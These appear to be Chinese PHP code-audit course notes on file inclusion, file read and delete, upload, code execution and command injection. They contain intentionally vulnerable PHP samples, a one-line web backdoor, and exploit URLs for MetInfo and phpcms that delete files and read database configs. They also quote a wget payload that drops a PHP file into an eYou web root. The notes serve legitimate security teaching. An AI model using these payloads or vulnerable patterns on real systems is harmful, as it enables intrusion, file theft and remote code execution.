20 KiB
1. 文件操作漏洞
包括文件包含、文件读取、文件删除、文件修改以及文件上传PHP的文件包含可以直接执行包含文件的代码,包含的文件格式是不受限制的,只要能正常执行即可。文件包含又分为本地文件包含和远程文件包含
1.1. 文件包含漏洞
文件包含函数: include()、include_once()、require()和 require_once()。它们之间的区别:include()和include_once()在包含文件时即使遇到错误,后续的代码依然会继续执行; require()和require_once()则会直接报错退出程序。
1.1.1. 文件包含漏洞挖掘经验
文件包含漏洞大多出现在模块加载、模板加载以及cache调用的地方跟踪程序运行流程,看模块加载时包含的文件是否可控;直接搜索四个函数,回溯,看是否有可控变量
1.1.2. 本地文件包含LFI
<?php
header("Content-Type: text/html; charset=utf-8");//使PHP显示中文
echo "本地文件包含示例:" . "<br />";
define("ROOT",dirname(__FILE__)."\\");//ROOT的作用及内容?
//echo ROOT . "<br />";
//加载模块
$mod = $_GET['mod'];
echo ROOT . $mod . '.php';
include(ROOT . $mod . '.php');
?>
2.php 文件
<?php
phpinfo();
?>
运行结果:
1.1.3. 远程文件包含RFI
可以包含远程文件的包含漏洞需要设置allow_url_include = On
<?php
header("Content-Type: text/html; charset=utf-8");//使PHP显示中文
include($_GET['url']);
?>
测试代码:
http://localhost/2020CodeAudit/C5/include/remoteinclude.php?url=http://localhost/2020CodeAudit/C5/include/2.txt
注意,虽然 url=http://localhost/2020CodeAudit/C5/include/2.txt 使用了 localhost ,好像还是本地。但是通过 http 协议其实是通过网络的,2.txt 可以位于任何一台网络主机,只要可以通过URL进行访问。
allow_url_include 是非常危险的选项,建议关闭!如果有特殊需要,需要对url指向的文件进行校验解码等操作,验证远程文件的合法性!
1.1.4. PHP输入输出流远程包含
课本使用的FireFox的HackBar作为演示,但该插件已经停止更新,试了其他几个类似功能的插件,均不能正常使用。最后使用Edge的 PostWoman 插件,可以达到同样的效果:
插件地址:
https://microsoftedge.microsoft.com/addons/detail/postwoman-http%E6%8E%A5%E5%8F%A3%E8%B0%83%E8%AF%95%E6%8F%92%E4%BB%B6/jopnhpooecpfgkolkacdmpehiiffcinf
打开插件,使用如下URL地址:
http://localhost/2020CodeAudit/C5/include/remoteinclude.php?url=php://input
构造POST请求,在POST内容中加入:
<?php phpinfo();?>
F12打开Edge的调试模式。
- 选择请求类型 POST
- 输入URL:http://localhost/2020CodeAudit/C5/include/remoteinclude.php?url=php://input
- 选择参数功能;
- 填入POST数据:
- 点击发送;
- 切换到网络;
- 选择刚刚发送的请求;
- 预览结果。
1.1.5. 文件包含截断1
<?php
header("Content-Type: text/html; charset=utf-8");//使PHP显示中文
include $_GET['url'] . '.php';
// include 2.txt%00.php;
?>
如果不能写入以.php为扩展名的文件,需要截断。1、利用%00来截断,开启GPC时不可用。PHP5.3之后的版本不可用。
请求URL:
http://localhost/2020CodeAudit/C5/include/truncation.php?url=2.txt%00
原理:%00 表示的二进制是0;PHP的处理器估计是C写的,会认为 0x00 是字符串的结尾,因此就包含了文件 2.txt
1.1.6. 文件包含截断2
利用多个英文句号(.)和斜杠(/)(??)来截断,这种方式不受GPC限制,PHP5.3版本之后不可用。
<?php
header("Content-Type: text/html; charset=utf-8");//使PHP显示中文
$str = '';
for($i=0;$i<=240;$i++){ //最小值为199.小于199不能截断
$str .= '.';
// $str .= './';
}
$str = '2.txt' . $str;
echo $str . "<br />";
include $str . '.php';//$str变量的值为2.txt................php
?>
1.1.7. 文件包含截断3
利用问号(?)来伪截断,不受GPC和PHP版本限制,只要能返回代码给包含函数,就能执行在HTTP协议里面访问http://iphost/1.txt和访问http://iphost/1.txt?.php返回的结果是一样的。
<?php
header("Content-Type: text/html; charset=utf-8");//使PHP显示中文
include $_GET['url'] . '.php';
?>
URL:
http://localhost/2020CodeAudit/C5/include/truncation-ques.php?url=http://localhost/2020CodeAudit/C5/include/2.txt?
这里是远程包含,远程文件是 http://localhost/2020CodeAudit/C5/include/2.txt?.php
但是在URL中,问号后面的是参数,因此PHP在包含文件的时候会忽略后面的参数部分,就只包含文件部分,最终包含的文件是:http://localhost/2020CodeAudit/C5/include/2.txt
1.1.8. Metinfo文件包含漏洞分析1
在 message/index.php 中,大约第十行。
if(!$metid)$metid='index';
if($metid!='index'){
require_once $metid.'.php';
直接从GET请求中获取模块名,拼接到require_once函数中,因此模块名可控导致可以远程包含文件。
利用方式1、allow_url_include=on,远程写一个2.txt的文件,利用问号来伪截断。
http://localhost/MetInfo5.0/message/index.php?metid=http://localhost/2020CodeAudit/C5/include/2.txt?
利用方式2、搭一个不解析PHP的Webserver,访问的时候不加文件扩展名:
http://localhost/MetInfo5.0/message/index.php?metid=http://localhost/2020CodeAudit/C5/include/2
注意:为什么要是不解析php的服务器?
1.2. 文件读取(下载)漏洞
部分程序在下载文件或者读取显示文件的时候,读取文件的参数filename直接在请求里面传递后台程序获取到这个文件路径后直接读取返回,问题在于这个参数是用户可控的,可以直接传入想要读取的文件路径即可利用。
1.2.1. 文件读取(下载)漏洞挖掘经验
黑盒:看功能点对应的文件,再去读文件白盒:搜索文件读取的函数:file_get_contents()、highlight_file()、fopen()、 readfile() 、fread()、fgetss()、fgets()、parse_ini_file()、show_source()、file()文件包含函数include或者php://filter/也可以利用。
1.2.2. phpcms任意文件读取分析
漏洞文件在 /phpcms/modules/search/index.php 中的大约199行:
public function public_get_suggest_keyword() {
$url = $_GET['url'].'&q='.$_GET['q'];
//$trust_url = array('c8430fcf851e85818b546addf5bc4dd3');
//$urm_md5 = md5($url);
//if (!in_array($urm_md5, $trust_url)) exit;
$res = @file_get_contents($url);
if(CHARSET != 'gbk') {
$res = iconv('gbk', CHARSET, $res);
}
echo $res;
}
给出的源文件进行了加固,必须注解掉上述的三行。
请求URL:
http://localhost/phpcms/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../phpsso_server/caches/configs/database.php
1.3. 文件上传漏洞
直接搜索move_uploaded_file()函数,P95其中问题比较多的是黑名单限制文件格式以及未更改文件名的方式,P96-99。
1.4. 文件删除漏洞
漏洞原理跟文件读取漏洞差不多黑盒:直接测试一下看能不能删除某个文件白盒:搜索带有变量参数的unlink(), 回溯变量unlink():删除文件。如果成功,该函数返回 TRUE。如果失败,则返回 FALSE。
1.4.1. Metinfo任意文件删除分析
漏洞文件:admin/system/database/recovery.php,大约9行。首先判断请求的action参数的值是不是delete,如果是则进入文件删除功能。判断如果不是sql文件后,就直接在databack目录删除提交的文件名
if($action=='delete'){
if(is_array($filenames)) {
foreach($filenames as $filename){
if(fileext($filename)=='sql'){
@unlink('../databack/'.$filename);
}
}
}else{
if(fileext($filenames)=='sql'){
$filenamearray=explode(".sql",$filenames);
@unlink('../../databack/'.$filenames);
@unlink('../../databack/sql/metinfo_'.$filenamearray[0].".zip");
}else{
@unlink('../../databack/'.$fileon.'/'.$filenames);
}
}
metsave($rurls,'',$depth);
}
代码中 $filenames函数从GET中提交。
访问url
http://localhost/Metinfo5.0/admin/system/database/recovery.php?action=delete&filenames=../../1.zip
只要请求:即可删除index.php文件。注:相对路径自databack开始,且必须登录系统。
1.5. 文件操作漏洞防范
1、对权限的管理要合理
2、用更安全的方法来替代直接以文件名为参数
3、避免目录跳转的问题
2. 代码执行漏洞
代码执行漏洞是指应用程序本身过滤不严,用户可以通过请求将代码注入到应用中执行如果没有特殊过滤,相当于Web后门eval()、 assert()、preg_replace()、call_user_func()、call_user_func_array()、array_map()等函数和PHP的动态函数($a($b))
2.1. 代码执行漏洞挖掘经验
- eval()和assert()函数导致的代码执行漏洞大多是因为载入缓存或模板以及对变量的处理不严格导致
- preg_replace()函数用来处理字符串,代码执行需要存在/e参数
- call_user_func()和call_user_func_array()函数的功能是调用函数,多用在框架里动态调用函数
- array_map() 函数的作用是调用函数并且除第一个参数外其他参数作为数组,通常会固定第一个参数,即调用的函数。
2.1.1. arry_map 函数
举例:http://localhost/2020CodeAudit/C5/5-2-1-arraymap.php动态函数的代码执行:_GET(_POST[“xx”])经常被用来当作Web后门。
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "array_map()函数举例:"."</br>";
function myfunction($v)
{
return($v*$v);
}
$a=array(1,2,3,4,5);
print_r(array_map("myfunction",$a));
?>
输出结果:
array_map()函数举例:
Array ( [0] => 1 [1] => 4 [2] => 9 [3] => 16 [4] => 25 )
2.1.2. eval和assert函数:
注意php配置:
assert.active = 1 ; 启用断言(1启用,0禁用)
assert.warning = 1 ; 断言失败时触发警告(PHP 8+)
assert.bail = 0 ; 失败时是否终止脚本(0不终止)
assert.callback = null ; 失败时调用的全局回调函数
assert.quiet_eval = 0 ; 是否在安全模式下启用断言
可以通过phpinfo() 函数检查配置。
这两个函数用来执行动态代码,参数直接就是PHP代码。
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "eval()和assert()函数举例:"."</br>";
$a = 'aaa';
$b = 'bbb';
$c = 'ccc';
eval('$a=$b;');//注意分号位置
assert('$b=$c');//注意分号位置
var_dump($a);
echo "<br />";
var_dump($b);
?>
访问URL:
http://localhost/2020CodeAudit/C5/5-2-1-1-eval.php
结果:
eval()和assert()函数举例:
string(3) "bbb"
string(3) "ccc"
2.1.3. preg_replace 函数
对字符串进行正则处理mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject)捜索$subject中匹配$pattern的部分,以$replacement进行替换,而当$pattern处存在/e修饰符时,$replacement的值会被当成PHP代码来执行。
preg_replace("/\[(.*)\]/e",'\\1',$_GET['str']);
- 第1个参数:从$_GET['str']变量中搜索中括号[]中间的内容作为第一组结果;
- / /:正则表达式开始和结束;
-
:匹配 [ - ( ):标记一个子表达式的开始和结束位置
- . :匹配除换行符 \n 之外的任何单字符
- *:匹配前面的子表达式零次或多次
- 第2个参数:代表这里用第一组结果填充
http://localhost/2020CodeAudit/C5/5-2-1-1-preg.php?str=[phpinfo()]
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "preg_replace()函数举例:"."</br>";
preg_replace("/\[(.*)\]/e",'\\1',$_GET['str']);
?>
结果显示为phpinfo()的执行结果。
2.1.4. 调用函数过滤不严
call_user_func()和array_map()等数十个函数(P105)有调用其他函数的功能,其中的一个参数作为要调用的函数名,如果这个传入的函数名可控,那就可以调用意外的函数来执行我们想执行的代码,也就是存在代码执行漏洞。
call_user_func()函数
- 调用函数并且第二个参数作为要调用的函数的参数
- mixed call_user_func (callable
callback [, mixed $parameter [, mixed...]]) - 第一个参数为回调函数,后面的参数为回调函数的参数
http://localhost/2020CodeAudit/C5/5-2-1-1-call.php?a=assert
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "call_user_func()函数举例:"."</br>";
$b = "phpinfo()";
call_user_func($_GET['a'],$b);//
//a=assert ,如果改成$_GET['A']??
?>
2.1.5. 动态函数执行
由于PHP的特性原因,PHP的函数可以直接由字符串拼接。更简单更方便地调用函数,一旦过滤不严格就会造成代码执行漏洞。PHP动态函数写法为“变量(参数)”。
http://localhost/2020CodeAudit/C5/5-2-1-2-dynamic.php?a=assert&b=phpinfo()
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "动态函数执行举例:"."</br>";
$_GET['a']($_GET['b']);
?>
2.1.6. 代码执行案例分析
http://localhost/2020CodeAudit/C5/5-2-2-preg.php?a=b|${@phpinfo()}
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
//http://localhost/2020CodeAudit/C5/5-2-2-preg.php?a=b|${@phpinfo()}
echo "动态函数执行防范举例:"."</br>";
// echo ${@phpinfo()};
// $b=@phpinfo();
preg_replace('/(\w+)\|(.*)/ie','$\\1 = "\\2";',$_GET['a']);
// preg_replace('/(\w+)\|(\d+)/ie','$\\1 = "\\2";',$_GET['a']);
//preg_replace('/(\w+)\|(.*)/ie','$\\1 = \'\\2\';',$_GET['a']);//
?>
preg_replace('/(\w+)|(.*)/ie' , '\\1 = "\\2";' ,_GET['a']);
修饰符i:不区分大小写;
修饰符e:执行$\1 = "\2";
- \w:匹配字母、数字、下划线
- +:匹配前面的子表达式一次或多次
- \\1:包含后向引用,正则匹配出来的第1个参数 b
- \\2:包含后向引用,正则匹配出来的第2个参数${@phpinfo()}
- \d:匹配数字
3. 命令执行漏洞
- 代码执行漏洞指的是可以执行PHP脚本代码
- 命令执行漏洞指的是可以执行系统或者应用指令(如CMD命令或者bash命令)的漏洞
- 可以执行命令的函数有system()、exec()、shell_ exec()、passthru()、pcntl_exec()、popen()、proc_open()等七个函数,另外反引号(`) 也可以执行命令
3.1. 命令执行漏洞挖掘经验
- 命令执行漏洞最多出现在包含环境包的应用里
- 直接在代码里搜这七个函数
- 像discuz等应用也有调用外部程序的功能,如数据库导出功能,曾经就出现过命令执行漏洞
3.1.1. 命令执行函数
system()、exec()、shell_ exec()、passthru()、反引号(`)是可以直接传入命令并且函数会返回执行结果。
http://localhost/2020CodeAudit/C5/5-3-1-1-system.php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "system()函数举例,whoami的执行结果为:"."</br>";
system('whoami');
?>
命令执行函数
popen()、proc_open()函数不会直接返回执行结果,而是返回一个文件指针,但命令是已经执行了。
http://localhost/2020CodeAudit/C5/5-3-1-1-popen.php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "popen()函数举例,输出重定向:"."</br>";
echo 'popen(' . 'whoami >> 2.txt' .','. '\'r\')';
popen('whoami >> 2.txt','r');
?>
反引号命令执行
实际上反引号(`) 执行命令是调用的shell_exec()函数
http://localhost/2020CodeAudit/C5/5-3-1-2-echo.php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "``反引号执行举例:"."</br>";
echo `whoami`;
?>
3.2. 亿邮命令执行漏洞分析
- $uid和$domain变量都是从GET请求中获取的,最终通过反引号(`)来 执行,所以我们可以直接注入命令
- ?uid=|wget+http://www.x.com/1. txt+-O+/var/ eyou/apache/htdocs/swfupload/a.php&domain=
- wget:从指定的URL下载文件
- -O:指定文件名
- +:URL中表示空格
3.3. 漏洞防范
- 使用PHP自带的命令防注入函数
- 对命令执行函数的参数做白名单限制
3.3.1. escapeshellcmd()
过滤整条命令输入string类型的参数,为要过滤的命令,函数返回过滤后的string类型的命令。
http://localhost/2020CodeAudit/C5/5-3-2-1-escapeshellcmd.php?cmd=whoami('")^$ipconfig
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "escapeshellcmd()函数举例:"."</br>";
echo (escapeshellcmd($_GET['cmd']));
?>
反斜线()会在以下字符之前插入: & # ; ` | * ? ~ < > ^ ( ) ]{ } $ \ , \x0A 和 \xFF。 ' 和 " 仅在不配对的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
运行结果
escapeshellcmd()函数举例:
whoami ipconfig
3.3.2. escapeshellarg()
功能:过滤参数,将参数限制在一对双引号里,确保参数为一个字符串把双引号替换为空格。
http://localhost/2020CodeAudit/C5/5-3-2-1-escapeshellarg.php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "escapeshellarg()函数举例:"."</br>";
echo 'ls ' . escapeshellarg('a"');
?>
3.3.3. 参数白名单
在代码中或者配置文件中限定某些参数,在使用的时候匹配一下这个参数在不在这个白名单列表中,如果不在则直接显示错误提示即可。

